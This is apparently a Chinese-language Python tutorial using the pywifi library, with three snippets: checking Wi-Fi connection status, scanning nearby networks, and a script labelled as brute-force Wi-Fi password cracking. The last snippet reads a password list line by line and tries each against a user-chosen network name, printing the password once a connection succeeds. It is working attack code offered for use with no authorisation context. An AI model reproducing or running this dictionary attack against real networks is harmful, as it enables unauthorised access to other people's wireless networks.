判断wifi是否链接
import pywifi
from pywifi import const
# 判断是否连接到wifi
def isWIFIConnect():
# 创建一个无线对象
wifi = pywifi.PyWiFi()
# 获取网卡 [] 列表
ifaces = wifi.interfaces()[0]
# 获取无线网卡状态
if ifaces.status() == const.IFACE_DISCONNECTED:
print('wifi未连接')
else:
print('wifi已连接')
isWIFIConnect()
扫描附近wifi
import pywifi
from pywifi import const
# 扫描附近wifi
def scanWIFIList():
# 创建一个无线对象
wifi = pywifi.PyWiFi()
# 获取网卡 [] 列表
ifaces = wifi.interfaces()[0]
# 扫描附件wifi
ifaces.scan()
wifiLists = ifaces.scan_results()
print(wifiLists)
scanWIFIList()
爆力wifi密码破解
import pywifi
from pywifi import const
import time
# 爆力wifi密码破解
def wifiContent(wifiName, wifiPasswrod):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect() # 断开连接
time.sleep(0.5)
if ifaces.status() == const.IFACE_DISCONNECTED:
profile = pywifi.Profile() # 创建wifi连接文件
profile.ssid = wifiName # wifi名称
profile.key = wifiPasswrod # wifi密码
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi的加密类型
profile.auth = const.AUTH_ALG_OPEN # 开放网卡
profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
ifaces.remove_all_network_profiles() # 删除所有的wifi文件
tempProfile = ifaces.add_network_profile(profile) # 设定新的连接文件
ifaces.connect(tempProfile) # 连接wifi
time.sleep(1.5)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
def main():
print('---开始破解---')
file = open('D:\python\study\pywifi\wifikey.txt', 'r') # 打开密码本
wifiName = input('请输入所要破解的wifi名字:')
while True:
wifiPasswrod = file.readline()
try:
bool = wifiContent(wifiName, wifiPasswrod)
if bool:
print('正确密码为:' + wifiPasswrod)
break
else:
print('本次尝试的密码为:%s,状态:密码错误。' % wifiPasswrod)
except:
continue
file.close()
main()